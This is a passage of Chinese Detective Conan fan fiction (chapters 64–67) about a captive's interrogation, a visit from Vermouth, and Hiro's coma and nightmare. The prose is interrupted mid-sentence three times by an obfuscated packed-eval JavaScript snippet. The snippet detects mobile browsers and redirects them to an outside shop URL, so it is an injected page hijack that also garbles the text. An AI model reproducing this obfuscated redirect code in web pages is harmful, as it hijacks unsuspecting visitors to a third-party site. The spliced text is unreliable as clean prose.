但是鸟取那边及时传来了消息,说杜林标既然没死,可以先放到他们手上进行审问,但是绝对不能要了他的性命。 琴酒很不爽,鸟取那边那么快就得了消息,说明BOSS的眼睛无处不在。 他十分讨厌这种被监视的感觉,但鸟取那边的消息往往代表着BOSS的意志,他没有权利违背。 所以他只能把杜林标打晕之后带回来。 反正鸟取那边说了,他们行动组可以先审问他,哪怕只剩下一口气在,也算是符合“活着”的要求。 杜林标对BOSS而言意味着什么琴酒一清二楚。 当然,他也很清楚这个家伙现在还有一些利用价值——能迅速采取行动,不仅仅说明杜林标已经从美国回来了有一段时间,而且和公安搭上了线。 正好他想知道组织里还有哪些人是公安的老鼠。 虽然目前的种种证据表明在波本和苏格兰之间,苏格兰才是那个老鼠,但并不代表其他人就没有问题。 组织里还有和诸伏景光保持联络的公安老鼠,不然杜林标动作也不可能那么快。 和公安搭上线、监视组织以及有人通风报信,这三个条件缺一不可。 64.第 64 章 降谷零时不时瞥一眼琴酒,对方的脸色一如既往的阴沉,但他就是莫名觉得琴酒现在的心情有些不太好。 等等,这个家伙的心情什么时候好过吗? 琴酒很认真的在思考,竟完全没有注意到降谷零不算隐晦的目光。 “好了,审问这种事情有波本跟着,我就不去凑这个热闹了。” 三人行至一个岔路口时,朗姆忽然冒出这么一句话,说完也不管降谷零和琴酒的反应,用通讯器叫了人,自顾自从另一条路离开了。 剩下的降谷零和琴酒就更没话说了,两个人一路气氛怪异的走进了审讯室。 审讯室在基地的最底层角落,能看出来设计人很是费了心思防止被抓来的人逃跑。 和基地里其他整洁光亮的房间不同,审讯室这边还隔着一段路就能闻到积年累月留下的血腥味。 “吱呀——” 审讯室的门上溅了血,干涸的血液留在门缝里,开门时会发出沉闷的声音。 和从外部看起来阴沉沉的样子不同,审讯室内的灯光亮的刺眼,降谷零不得不站在门外适应了一会儿才抬脚走进去。 这里内部的空间也远比降谷零想象中的大。 作为情报组的成员,他自有一套获取情报的方法,至于审讯室,还是加入组织以来第一次进来。 各种他叫得上名的,叫不上名的刑具一应俱全。 也不知道是地理位置的原因还是组织的特意安排,这间刑房里有着挥之不去的森寒。降谷零分明还穿着那一身正装,寒意却能突破重重阻碍缓慢地攀爬上他的后背。 琴酒似乎是这里的熟人,对这种阴暗的环境非常熟捻,没有表现出半分的不适。 降谷零还以为他会把抓到的人都直接统统毙掉,没想到这家伙还会有光顾审讯室的习惯。 不过比起琴酒,他现在更关心青木修。 如果不是对方及时出手相助,他和诸伏景光这一次必然最少要折一个人。 就算是抛开他和诸伏景光之间的那点纠缠不谈,青木修也算得上是两人的救命恩人。 他的目光穿过晃眼的白炽灯,落在里青木修的身上。 对方被固定在铁制刑架上,垂着头,显然还没有恢复意识。 降谷零不着痕迹的把视线往下挪了些许。 青木修的额角上有明显的青紫,胳膊和大腿上都有明显晕开的大片血迹……尤其是那只血肉模糊的手,掌心处甚至还在往下滴血。 降谷零缓缓皱起眉头,不难看出,在一开始的打斗中琴酒是冲着要他命去的。 能阻止琴酒直接杀了青木修,想必是BOSS那边说了什么。 他忽然有些庆幸组织留着青木修还有用了,只要不是当场死亡,他们就还有救青木修出去的机会。 琴酒跟在降谷零身后进来,与他擦肩而过,最后站定在青木修身前。 降谷零深吸一口气,缓缓把胸腔中的浊气一点点吐出来。 青木修的头发有一段时间没有修剪,因着他垂头的动作而散落在脸颊两侧。 “波本。” 琴酒忽然叫了他,“你有什么想法吗?” “……” 降谷零没有贸然回答他的问题。 在琴酒面前,不能有一丝一毫的松懈。 琴酒也不着急,他在思考当初杜林标还在威士忌小组时,组织给他做的测谎鉴定。 当时的杜林标怎么说的来着?威士忌小组的其他三个人都没有问题。 他现在对这个回答存疑,杜林标究竟是当时还没有发现诸伏景光和赤井秀一的异常,还是他已经掌握了骗过组织测谎仪的方法? 他虽然在思考往事,但依旧留了一丝注意力在降谷零身上。 注意到对方没接上自己的话,他缓缓问道:“是因为见到了前队友而高兴的说不出话了吗?” “不,”降谷零这一次反应很快,并且保持住了面对琴酒时阴阳怪气的语气,“面对叛徒,我没什么好说的——尤其是差点坑了我的叛徒。” 他跟着琴酒走进了两步,更细致地上下打量青木修。 对方的颈侧也有一个当时和诸伏景光类似的伤口。 应该也是被组织下了药,不然不会昏迷这么久。 想起诸伏景光,降谷零无可避免地担心起自己还在警察医院的幼驯染。 但愿组织给hiro用的不是什么奇奇怪怪的违禁药物。 他在心中默默祈祷。 “怎么样,要亲自审问自己曾经的队友吗?” 琴酒注意到他的视线一直落在青木修的身上没有移开过,带着点恶意地开口。 分明用的是询问语气,但降谷零明白琴酒一定会想办法逼着自己对青木修下手。 至少不能是现在。 降谷零抓了一把手心,如果非要对青木修下手不可,至少不能是现在,他不能开这个头。 他很清楚青木修会为了诸伏景光什么都不说,但如果他一开始就没能把话问出来,后面来审问的人必然会用比他严酷千百倍的手段逼迫青木修开口。 至少不能是现在…… 他打定主意,抬起头看向琴酒,“我倒是有这个想法,不过嘛……我还是更喜欢看你们无功而返的样子。” 琴酒手下有专门负责审讯的成员,降谷零必须要等到他们之后才能动手。否则太轻会引起琴酒的怀疑;太重的话,他怕青木修挺不过去。 这个人和诸伏景光之间还没有掰扯清楚,降谷零发自内心的希望他不要死在这里。 “哼……” 琴酒一如既往的冷哼反而让降谷零悬着的心放下几分。 他似乎暂时褪去了对降谷零的怀疑,并且大方的给了对方一个看热闹的机会。 “他现在还不会醒。” 琴酒朝着审讯室外走去,“我会找人过来好好‘招待’他。” 降谷零犹疑地看了琴酒的背影一眼,最终还是没有多说什么,跟上对方的脚步离开了审讯室。 就在大门彻底合上的那一刻,一直被束缚在刑具之上的人动了动指尖,保持着头垂下的姿势不变,有些费力地撩起眼睛,朝着门口的方向看了一眼。 看来降谷零和诸伏景光已经脱离危险了。 他现在浑身上下一点力气都没有,不知道阻止给他用的是不是和诸伏景光一样的药物,几处伤口依旧刺痛无比,不断地灼烧着他的神经,偏偏没有力气,就连刚刚撩起眼皮朝着门口看一眼就耗费了几乎全部的精力。 身上的束缚反倒成了他现在站立在这里的唯一支撑点。 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14407413|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以为自己很快就会等到琴酒手下那一批专职审讯的成员,倒是没想到会先一步等来贝尔摩德。 “啊啦啦……杜林标怎么把自己搞得这么狼狈啊?” 贝尔摩德在青木修身前站定,看着面前垂着脑袋一动不动的青年,眼底划过一丝异样的情绪。 青年没有回应她的话,似乎还在昏迷中。 “杜林标,这样就没意思了哦。” 贝尔摩德抬手,伸出一只涂着鲜艳指甲油的手指,朝着青木修的脸颊戳过去。 方才还在昏迷中的男人准确躲开他的手,缓缓睁开眼睛,抬起头看着她。 “贝尔摩德,你来干什么?” 他可不认为贝尔摩德会积极主动的接下这个任务跑来审问他。 “你的演技很不错,居然骗过了琴酒。” 贝尔摩德用一种很欣赏的眼神看着这位得到自己亲传的弟子。 青木修面无表情地扯了扯嘴角,显然不想和贝尔摩德多费口舌。 “我教给你的东西,你都学得很好。” 青木修连假笑都没有了,那双灰色的眼睛直视着贝尔摩德,仿佛能吸收进一切光源。 他对贝尔摩德的感情其实很复杂。 青木修厌恶着她教给自己的那些本领,贝尔摩德也不怎么看得惯他还抱着希望的愚蠢想法。 但两人之间又有着一些同为实验体的惺惺相惜。 在某些时候,他们俩还能有一些共同话题。 “你来这里一趟,就是为了专程过来夸奖我?” 贝尔摩德忽视了青木修黑的吓人的脸色,理了理头发重新笑起来,“你说说你还回来干什么呢?” 她的语调里藏着意思不易察觉的惋惜。 “这世上有那么多人,一个诸伏景光用得着你命都不要了回来救他?” 青木修居然从贝尔摩德的话里听出了几分怒其不争。 他没有同贝尔摩德争辩,只是很轻很轻地说道:“他不一样。” 贝尔摩德一怔,还不等她有所反应,就听青木修接着说: “总有那么一两个人,会值得你豁出一切保护他。你说对吗,贝尔摩德?” 贝尔摩德的瞳孔骤然紧缩,她觉得杜林标可能是知道了什么。 但这是不可能的,他不可能会知道自己的秘密! 青木修确实不知道贝尔摩德在害怕什么——那个瞳孔紧缩的反应,一定是在害怕,他只是把自己的真实想法告诉了对方而已,怎么搞得跟一副快要破防了的表情似的? 他有些不解的歪歪头。 贝尔摩德背后的寒意渐渐消退,她打定主意在杜林标面前装傻装到底。 “或许会有吧……不过我真的替你不值。” 她又换回了那副漫不经心的模样,“琴酒不会轻易放过你。” 自己最多能保证不参与针对杜林标的审讯。 “不值吗?” 青木修的注意力在她的第一句话上,“可是你要知道,在这里……” 他剩下的话没有说完,在场的两个人都心知肚明“这里”指的是什么。 “你踏上了一条自己选择的路。” 贝尔摩德意识到自己已经同杜林标无话可说,她留下一个“你自求多福”的眼神,离开了审讯室。 65.第 65 章 诸伏景光身上没有什么外伤,进了抢救室不久就被推了出来。 只是黑田兵卫看着躺在病床里,丝毫没有要清醒过来的迹象的下属,还是有些不放心。 “他真的没有问题吗?” 诸伏景光和降谷零都是不可多得的人才,他不希望其中任何一个人出事。 跟着从抢救室里出来的医生闻言有些尴尬地摸摸头。 “这位警官,应该……没事。” 语气怎么听都是满满的心虚。 黑田兵卫皱起眉头,他不喜欢这种模凌两可的回答。 说话的医生似乎是意识到了身边警官身上散发出来的低气压,连忙改了口。 “这位警官被注射了不明药物,血检结果显示除了目前已知的一些会作用于神经的药物之外,还有一些暂时不能查明成分的药物。” 黑田兵卫的脸更黑了,他有些担忧地看了一眼躺在病床里没有任何动静的诸伏景光。 但愿这孩子没事。 他的担心并非全无道理。 在诸伏景光刚从抢救室里出来的时候,黑田兵卫还能安慰自己,可能是他刚从那个组织里逃出来,那些未知的药物药效还没有消退干净。 诸伏景光昏迷的第一天,黑田兵卫劝说自己,可能是那些作用于神经的药物对人有损伤,诸伏景光需要一个恢复的过程。 诸伏景光昏迷的第三天,黑田兵卫劝慰自己放宽心,可能是那些未知药物的原因,人体需要一个代谢的过程。 诸伏景光昏迷一周,黑田兵卫告诫自己,诸伏景光不会是一个栽在这种事情上的倒霉小子。 诸伏景光昏迷半个月,看着满脸杀气,背后黑气翻涌上门探病的降谷零,黑田兵卫劝……黑田兵卫劝不动了。 不管是自己还是降谷零,他都劝不动了。 “hiro还没有醒吗?” 降谷零站在诸伏景光的床边,神色阴沉,垂着头看不清表情。 就连一向淡定的黑田兵卫见了他这副模样都觉得有些瘆得慌。 “呃……”黑田兵卫第一次觉得有些找不到自己的声音,“医生说诸伏被注射了成分不明的药物,其中有一些会作用于神经,可能会对他有一些影响。” 这句话刚说完,他就感觉到身边的杀意猛然上升了一个大层次。 “……” 他竟然被一名下属震惊到失语一瞬。 好在降谷零及时控制住了身上的气息。 他理智仍在,转过头看了看连接着诸伏景光的监护仪器,心里有了数。 “他不会有事的。” 组织当时没有直接杀了诸伏景光,就说明他们留着他还有用,不会弄一些让人永远醒不来或者是变成傻子的药物。 只是醒来还需要一段时间罢了。 “有个人可是还在组织里等着你啊,自己欠的账自己还清楚,别想让我替你收拾烂摊子啊混蛋。” 黑田兵卫眉梢一跳,降谷零能不能尊重一下他这个还站在这里的上司! 他知道降谷零口中的“有个人”指的是青木修,如果没有对方的帮助,诸伏景光和降谷零这次成功脱险的可能性几乎为零。 不管对方是出于什么目的,但帮了公安一个大忙这一点是不可否认的。 “青木修他没有别的什么目的,”降谷零像是看出了自家长官的心中所想,叹了口气,缓缓道:“hiro说他问过青木修想不想做警察,被对方拒绝了。” 他的口吻听上去没有任何在帮青木修说话的意味,只是在平缓的陈述一个事实。 “哦?” 黑田兵卫在公安工作了许多年,并不觉得青木修会真如所说的那样毫无目的。 “他说……hiro的立场就是他的立场。” 黑田兵卫悟了,这小子的目的原来是诸伏景光啊。 那就没什事了。 他松了一口气,还好对方没有什么把诸伏景光拐跑的想法,相反,似乎是诸伏景光把青木修拐跑了。 降谷零能来探视的时间很短,看过诸伏景光之后,又向黑田兵卫报告了一些事情,便匆匆离开。 他还要急着回组织看看青木修的情况。 . 诸伏景光一直在做梦。 从他坐上车的那一刻开始,一直紧绷的神经便因为远离了组织而放松下来。 愈发沉重的眼皮让他根本来不及和降谷零交换情报,就滑入了意识的深渊。 他先是梦见了自己小时候和哥哥诸伏高明一起在长野游戏的场景。 当时爸妈还在,诸伏高明虽然已经有了小大人的模样,但还是对这个弟弟非常宠爱,乐此不疲地陪着诸伏景光玩。 接着画面一转,他似乎是来到了一家医药公司。 “小朋友,你是和家人走散了吗?” 听见背后传来的说话声,诸伏景光瞳孔一缩。 是妈妈的声音。 他连忙回过头,果不其然看见诸伏太太半蹲在一个小孩的身前,温柔地和对方说话,“不要紧的,我可以帮你找找妈妈。” 被她挡住的小孩似乎是察觉到了什么,侧过半步朝着诸伏景光的方向看了一眼。 诸伏景光的心跳更快了。 他大概知道这里是哪里了。 这里是当初青木修和诸伏夫妇见面的地方。 诸伏景光试着张口让诸伏太太快走,对方却听不到他近乎声嘶力竭的呼喊声。 没有发现异常的杜林标收回视线,看向眼前这位有着一双上挑猫眼的女人。 “……”他试着张了张口,过了几秒才从嗓子里挤出声音,“妈……妈?” 声音非常生涩,就像是从来没有说过这个单词一样。 诸伏太太没有注意到青木修表现出来的异常,转身看向身后不远处已经整理好学生队伍的诸伏先生。 “这个小朋友似乎和家里人走散了。” 诸伏太太对着诸伏先生如此说道。 诸伏先生倒是注意到了这里忽然出现一个小孩的异常,“这里怎么会有走散的小孩?” 毕竟是制药公司,也不会像景点一样对所有游客开放,他们今天也不过是借着学校的关系带着孩子们进来参观。 “唉?” 被他提醒的诸伏太太忽然反应过来,这里怎么会平白无故出现一个小孩? 她缓缓皱起眉头,在诸伏先生的遮掩下,背过身准备掏出手机打电话。 “你在这里啊!” 远处,一个穿着白大褂的研究员匆匆忙忙跑过来,一把拉起青木修的手就要拽着他走。 已经起了疑心的诸伏先生温和却不容拒绝的拦住她。 “这位女士,请问你认识这个孩子吗?” 她刚刚过来的时候并没有叫这个孩子的名字。 风谷太太当然不会在有外人的地方直呼青木修的代号,她停下脚步,脸上挂起得体的笑容。 “这位先生是……?” “啊,我是今天带孩子们来参观的老师。” 诸伏先生低下头去看青木修,对方细瘦的手腕仍被研究员抓在手里,但也没有任何想要挣扎的意思。 “小朋友,你认识她吗?” 他还是有些不放心。 青木修抬眼不着痕迹地看看诸伏先生和诸伏太太,这才把目光转向牵着他的女人。 “认识的。” “那好吧,”诸伏先生拍拍他的头,从衣兜里摸出一颗糖递给青木修,眼睛却是看着那位研究员,“不好意思,因为是老师的缘故,对孩子们会多上心一点。” 研究员的笑容不变,“没关系,还要谢谢你帮我看住了乱跑的孩子。” 见小孩已经找到了家长,诸伏夫妇也就不再耽搁,转身走向队伍,准备带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14414126|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着孩子们离开。 完全没有注意到背后女研究员冷得要杀人的眼神。 诸伏景光终于弄清楚了当初父母遇见青木修的前因后果。 第一次来到地面之上的青木修什么都不知道,只是胆怯地拉着自己的衣角,惴惴不安地站在一个非常偏僻的角落。 如果不是诸伏太太足够细心,是绝对看不见他的。 原来是父母主动找上的青木修。 诸伏景光垂下眼睛,心中泛起一阵酸涩。 然而故事到这里并没有结束,诸伏景光仿佛意识到什么,跟在诸伏夫妇身后。 “你也是这样想的对吧?” 诸伏先生凑到妻子的身边低声耳语。 两人对视一眼,皆从对方的眼中读懂了彼此的想法。 刚刚那个孩子有问题。 两人都是聪明人,并没有直接当着研究员的面指出她的纰漏。 “等回去之后,找个机会拜托警察来这里查一查吧。” 诸伏太太悄声对着丈夫说。 诸伏先生一边不停地四处观察,一边点点头。 如果他们是在一家普通的医药公司,或许两人的谈话还不会被其他人听到。但这里可是组织旗下的公司,从两人和研究员分开之后,后者就让人暗中盯着他们。 果不其然,监听到了他俩的对话。 诸伏景光眸色阴沉地跟上在转角处消失的人影。 对方一路向下,来到了最底层。 “大人,那两个人起了疑心。” 风谷太太看了一眼面前无菌室内,已经打上针的青木修,平静无波地开口,“处理了他们,不能让消息走漏一点。” “明白。” 诸伏景光几乎要控制不住自己的拳头了。 就是因为爸妈误打误撞见到了青木修,所以就要承受这些无妄之灾吗? 但偏偏他知道这里是梦境,自己什么都做不了。 只能眼睁睁地看着画面变成了父母出事的那一天。 年幼的他被塞进柜子里,趴在边上,透过缝隙想要看清楚外面的场景。 和多年来的梦境不同,这一次,凶手走向了他所躲藏的柜子。 诸伏景光紧张地握紧了拳头,突然发现自己好像碰到了什么东西。 他向后摸了摸,是一把枪。 再低头一看,自己不知道什么时候已经变回了大人的模样。 诸伏景光一秒钟的犹豫都没有,利落地打开保险,上膛,抢在对方前一秒从里面推开柜门,向着声音的来源开了一枪。 整个世界都安静了下来。 他后知后觉地睁开眼睛,却看到了一个怎么也不可能出现在这里的人。 ——青木修。 对方脸上的担忧甚至还没有褪去。 诸伏景光很轻松地就看见了倒在青木修身后的外狩一。 他干了什么? 诸伏景光有些茫然地看向自己的手。 他对着青木修……开枪了? 这已经是第二次了。 青木修表情呆滞地摸上被开了大洞的胸口,似乎是想要说些什么,一张嘴全是血沫。 他最后看了一眼诸伏景光,彻底没了力量,向后倒去。 他倒地时眼睛甚至还是睁着的,瞳孔上还残留着诸伏景光的倒影。 “不——” 诸伏景光大吼一声,从病床上坐了起来。 给他换药的小护士被吓了一大跳,但职业素养摆在那里,回过神之后立刻出门找医生和黑田兵卫去了。 诸伏景光呆呆地看着自己的双手,上面似乎还残留着硝烟的气息。 他长长出了一口气,闭上眼睛。 梦里都是假的,他想,小时候做噩梦时父母告诉过他,没发生过的事情,梦里和现实都是反的。 青木修一定能够活到最后。 66.第 66 章 黑田兵卫第一时间接到诸伏景光苏醒的消息,带着人匆匆忙忙赶到警察医院的特护病房。 “诸伏,你现在感觉怎么样?” 他可没忘记血检报告上被特别标注的未知药物。 诸伏景光一只手上扎着针,一只手扶着额头,靠坐在病床上。 他现在还有点蒙,梦境里的画面实在是太过真实,让他一时间分不清自己现在到底有没有清醒。 好在黑田兵卫很有耐心,把问题又重复了一遍。 “……” 诸伏景光终于缓过神,视线移向站在病床边的黑田兵卫,大脑缓慢地转动起来,开始处理接收到的信息。 “我……头好疼。” 被组织带走之后他并没有受到什么皮肉之苦就被青木修和降谷零救走,现在只有头疼得厉害,耳朵边一直有“嗡嗡”的杂音。 “怎么回事?” 黑田兵卫看向一边的主治医生。 后者擦了擦额头上不存在的汗珠,“是那些未知药物的后遗症,它们对神经有很强的刺激性,不过经过一段时间的代谢之后就没什么大问题了。” 黑田兵卫得知这些后遗症都是暂时性的,终于放下心。 “黑田长官,组织那边……” 黑田兵卫知道诸伏景光在担心什么,“组织那边的情况还算可控,降谷已经获得了自由,前几天还来看过你,现在在组织里盯着他们的动向。” 诸伏景光捕捉到了一个关键词:前几天。 按道理来说,降谷零就算是能借助举报他一事重新获得组织的信任,也不可能在短短几天内就重新拥有能够跑来警察医院看他的自由。 “我……我昏迷了多久?” 他看向黑田兵卫,心中忽然闪过一丝不好的预感。 果然,黑田兵卫的回答让他的预料成了真。 “你昏迷了快三个星期。” !!! 诸伏景光霎时瞪大了眼睛,快三个星期是什么概念?组织要是想对谁下手,三个星期足以让目标对象死去又活来好几遍。 “医生说你现在的状态还需要修整,在这里好好调整调整,我会尽快安排你出院。” 尽管黑田兵卫知道现在是关键时期,但也清楚不能让有伤在身的下属带病工作。这样只会拖累整个任务的进程。 “好。” 诸伏景光也能感觉到自己的身体还没有恢复到最佳状态,也不强求黑田兵卫能够立即让他出院。 第二天夜里,他在病房里等来了前来探病的降谷零。 “zero!” 兴许是昏迷了快三个星期的缘故,诸伏景光这两天睡眠的时间并不长,在降谷零靠近病房的时候他就发现了对方。 “hiro,我听黑田长官说你醒了。” 降谷零并没有开灯,两人就借着窗外的月光看着彼此。 亲眼看到人,他心中的巨石总算是落回了原处。 “黑田长官让我抓紧时间调整状态,这两天就争取让我出院。” 诸伏景光从眼前的局势里嗅出了几分“山雨欲来风满楼”的味道。 “你也别太心急,调整好自己的状态最重要。” 只有自己的状态回归最佳,才能拿出全部的精力来对付组织。 “嗯,青木修怎么样?” 诸伏景光对那天他在通风管道后半程以后的记忆都有些模糊不清——当时他也没什么意识了。 降谷零脸色有些难看,但因为病房昏暗,诸伏景光没能第一时间看出来。 诸伏景光还是从幼驯染的停顿里觉察出了异常。 “他没能跟我们一起出来?” 降谷零点点头,“他那天为了掩护我们,当场就被琴酒抓走了。” 诸伏景光觉得自己的心头好像是被人活生生挖走了一块儿。 他一时间有些呼吸不畅。 降谷零听见他明显变得粗重的呼吸,抬手就准备摁床头的呼叫铃。 “不用。” 诸伏景光拦下他的手,能少让一些人知道降谷零来警察医院就最好少让一些人知道。 他连续做了几次深呼吸试图来调整呼吸频率。 “他现在怎么样……有消息吗?” 诸伏景光尝试了几次,也没有取得什么明显成效,心绪还是一团乱麻,心神不宁都写在脸上了。 巨大的惶恐和不安笼罩了他。 降谷零一时间不知道用怎样的字句向诸伏景光形容自己看到的青木修。 “zero你知道吗?” 诸伏景光紧紧抓住降谷零的手腕,试图借力能让自己安心一些。 “我在梦里看见了当初青木修和我父母见面的场景。” 降谷零的注意力被彻底转移到诸伏景光的话里。 这句话乍一听很是玄学,一个人怎么可能会梦到自己并不在场的场景呢? 其实诸伏景光一开始也不是特别相信,但梦境的真实感最后还是动摇了他的判断。 “那个梦很真实……” 诸伏景光小声对降谷零描述梦中的场景。 “……总之就是这样子,我很确定这就是当初我爸妈和青木修相遇的场合。” 他的语调十分笃定,就连一向不怎么信这些的降谷零都感到几分真实。 “也就是说……当初是伯父伯母先发现的青木修?” 诸伏景光的脸色很难看,但还是点点头,当初青木修根本就没有主动招惹过诸伏夫妇,反倒是他们夫妇二人发现了躲藏在角落里的青木修,并且对他的身份起了疑心。 这样一来无疑是说明青木修完完全全也是这件事里无辜的受害者。 诸伏景光捂住脸,他不受控制地回想起当初在得知父母的死和青木修有关系之后自己的反应。 不用说,当时自己的所作所为一定让青木修伤心了。 他又一次伤害到青木修,但是对方却像以前的无数次那样,不计前嫌一次又一次来救他。 他被青木修纯洁炽热的感情灼得心痛。 降谷零张张口,却没能发出什么声音来。 他一时半会儿也不知道该说些什么来安慰诸伏景光,只能在心中感慨一声命运弄人。 这两个人越来越分不开了,谁也说不清到底是谁欠着谁。 诸伏景光抹了把脸,稍稍平复了些许心情,把话题重新拉回来: “所以组织里有青木的消息吗?” 这下子降谷零也找不到什么话茬能够先暂时岔开这个话题了。 顶着诸伏景光期冀的目光,他只能实话实说。 “青木修当天就被琴酒带回了基地——没在关押你的那个实验中心。” 早前有青木修的带路,降谷零也知道了那里是组织在东京都实验中心之下的备用基地。 听闻青木修被当场带回基地,诸伏景光心中闪过一丝不好的预感。 降谷零接着道:“那天下午,把你送来之后我就接到消息,匆匆赶回基地,见到了青木修。” “当时琴酒还没有对他动手,也没找人来进行审讯,只是绑在审讯室里——身上中了两枪,一只手看上去不知道被什么东西捅穿了……组织应该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14422641|148056||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对他用了跟你类似的药,我去看他的时候人还没醒。” 只是听降谷零的描述,诸伏景光方才平复下来的心跳又有些杂乱。 他很是担心青木修的状态。 青木修身上携带的后遗症越来越严重这一点他是知道的,每次看到青木修发病时疼痛难忍的模样,诸伏景光都心疼的无以言表。 偏偏他又帮不上什么忙,只能无力地在一旁看着青木修和剧烈的疼痛做抗争。 组织给他注射的未知药物让他到现在头都还有些隐隐作痛,更不用说青木修本来就有头疼的毛病。再加上这些药物的后遗症…… 光是想想自己刚醒来时想要撞墙似的头疼,诸伏景光就有些不寒而栗。 这种产生于身体深处,无法靠外力缓解的疼痛往往最是要命,严重的把人搞崩溃也不是不可能。 诸伏景光忽然想起来自己已经昏迷了快三个星期的事实。 这样算来,距离青木修被琴酒抓走已经过去了很长时间。 他神情顿时慌乱起来,忘记了自己一只手还紧紧抓着降谷零的手腕。 等他意识到这一点,连忙松开手的时候,降谷零的手腕上已经留下了不甚明显的指印。 “抱歉啊zero,我……” 降谷零暗自叹息一声,他看出诸伏景光心中所想,心说这个话题看来是无论如何也躲不开了。 但是他仍旧希望拖延一点时间,让诸伏景光不要这么快就知道青木修的近况。 那些东西对于短时间内根本无法接近诸伏景光来说,实在是太残忍了。 “……” 短暂的沉默过后,诸伏景光还是开了口。 “zero,你知道青木的情况对吧?” “嗐……”降谷零抬起头闭了闭眼,低声回应道:“我可以告诉你,但是你要先答应我一定要保持冷静可以吗?hiro。” 诸伏景光没有给降谷零回应,他无法做出保证。 尽管如此,降谷零还是尽量挑选着委婉的用词,以最简短的语句,最平静的语调向诸伏景光描述了自己见到的青木修。 他只是在审讯的最后阶段短暂的见过青木修两面,其余的过程他也不太清楚,惨烈的场景也让他不愿意去推断对方受审的过程。 纵使见多了生死,降谷零依旧会因为那一天见到的场景而屏住呼吸。 “……” 诸伏景光的呼吸又粗重了几分,突然掀开被子,一言不发地准备下床。 “hiro你要干什么?” 降谷零眼疾手快地拦住他。 “我要出院。” 诸伏景光的声音听上去异常沙哑,“我要去救他。” 他现在无比害怕自己的梦会成为现实。 “你冷静一点。” 降谷零异常强硬地把他重新塞回病床上。 “你现在应该做的就是好好调整自己然后尽快出院明白吗?” 他摁住诸伏景光的肩膀,“现在我们甚至不知道青木修人在哪里。” 他刚刚已经告诉过诸伏景光,前两天琴酒把只剩下一口气的青木修交给了实验组带走。 “你要让自己快点好起来,然后才能重新回到队伍里,我们一起想办法!” 诸伏景光垂首,默不作声将一只手搭在降谷零的肩膀上。 后者松了一口气,知道他这是把自己的话听进去了。 “相信我,我们一起想办法,青木修一定会没事的。” 降谷零不能在这里停留的太久,他反复叮嘱了诸伏景光几句,脚步匆匆离开了警察医院。 67.第 67 章 琴酒言出必行,真的找了人来好好“招待”青木修。 朗姆对于组织的叛徒向来也没有什么好脸色,大手一挥,把自己手下专门培养的那一支审讯队伍借给了行动组,还美名其曰“比你们行动组的那一支更专业”。 琴酒存了不让青木修好过的心思,也没有拒绝,收下了人,表示在必要的时候会让他们派上用场。 但是他更信赖一些的还是原属于行动组的那支队伍。 青木修在浑身上下伤口的疼痛中等来了第一支审讯队伍。 此时他已经被琴酒晾在审讯室晾了几天,期间只有一些人来给他注射一些能够维持生命和保持意识清醒的药物,这些人从头到尾都是闷着头做自己的事,一个字也没有说过。 因而青木修也不知道距离自己被抓进来之后过去了多久。 空荡荡的胃部早早发出了抗议,像是有一团火灼烧着脆弱的胃壁,连带着周围的伤口都痛感更加明显。 按照常理来说,就算是对疼痛再怎么敏感,过了这么久也应该有所麻木,但是在组织特效药的“帮助”下,青木修身上的伤口仍旧像是刚受伤时那样疼。 尤其是被琴酒刺穿过的那只手,掌心不断传来刺痛和痛痒感,让他想抓也抓不着。 我在这里的时间应该也不短了。 青木修在心中估量,身上未能得到细心处理的伤口很快开始发炎,以至于他有些发烧,原本昏沉的脑袋更加不清醒,偏偏始终保持着一丝意识。 负责给他打针的研究员发现了他的异常,也通知到了琴酒,可惜对方并没有放在心上,致使青木修很快便浑身烧的滚烫,却又一阵阵的发冷。 冰火两重天的滋味可一点都不好受。 在刑架上捆得久了,青木修的肌肉开始有些不听他使唤,不受控制地发抖。 琴酒带着人进来时,看到的就是这样一副场景。 “啊,劳烦您老人家还记得我。” 青木修意识尚在,听见动静有些迟缓地抬起头,眯着眼睛看向一行人。 琴酒的视线没有在他身上过多停留,而是转头看向跟着他进来的这几人。 “在留他一口气的情况下,想办法问出组织里的老鼠都还有哪些人。” 琴酒之所以会收下朗姆的人,他知道青木修不会那么简单的开口也占了一部分原因。 这个家伙嘴巴有多硬他是知道的。 至于现在…… 琴酒的视线重新转回青木修身上,他倒是要看看这个人的嘴巴是不是真的和骨头一样硬。 青木修自知和琴酒拌嘴没有意义与其和这个家伙在这里浪费口舌,还不如想想办法怎么挺过接下来的刑讯。 他对自己的意志还有些信心,但也不能断定这些家伙们会不会用一些极端方法来迫使他开口。 单纯的刑讯他倒是不怎么怕,反倒是组织里那些奇奇怪怪的药物让他心里有些没底。 “就是这家伙啊……” 